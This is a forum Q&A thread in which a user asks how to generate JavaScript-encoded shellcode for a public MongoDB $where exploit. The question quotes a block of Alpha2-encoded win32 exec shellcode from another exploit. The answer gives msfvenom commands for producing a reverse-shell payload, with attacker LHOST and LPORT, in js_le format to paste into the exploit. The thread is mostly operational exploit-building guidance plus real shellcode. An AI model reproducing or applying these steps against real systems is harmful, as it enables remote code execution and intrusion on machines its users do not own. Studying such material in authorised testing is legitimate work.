I'm trying to generate shellcode to modify this exploit: https://www.exploit-db.com/exploits/24947/ It says in the basic exploit:

{'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE");

And I'm not really sure what it means. Looking at the other shellcode in the exploit it looks like utf-8 unicode encoded shellcode (eg "%u9090%u9090") but I don't know how to generate it. I've tried with msfvenom and J to generate javascript shellcode but the output's different. Also tried with different encoders (x86/alpha_mixed or x86/unicode_upper) but they fail or they return a different format.

I saw similar shellcode in this exploit: https://www.exploit-db.com/exploits/6317/

// win32_exec -  EXITFUNC=process CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com

var shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949" +
             "%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b" +
             "%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875" +
             "%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c" +
             "%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b" +
             "%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e" +
             "%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a" +
             "%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35" +
             "%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b" +
             "%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b" +
             "%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470" +
             "%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550" +
             "%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550" +
             "%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070" +
             "%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68" +
             "%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047" +

But again, no notes on how to generate it.


As hinted at in the comment above, you want to use msfvenom to generate your payload.

Start by finding which payload works best for you by using:

msfvenom -l payloads

This will show you a list of all the available payloads.

(I like to grep this for the platform, it makes it easier. msfvenom -l payloads | grep windows)

Once you have your payload selected, you need to tell venom to generate it for you.

msfvenom -p <your payload path> LHOST=<your attacking machine ip> LPORT=<the port you wish to get your shell returned to> -f js_le -e generic/none

This will output a payload that you can copy and paste into your exploit above.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.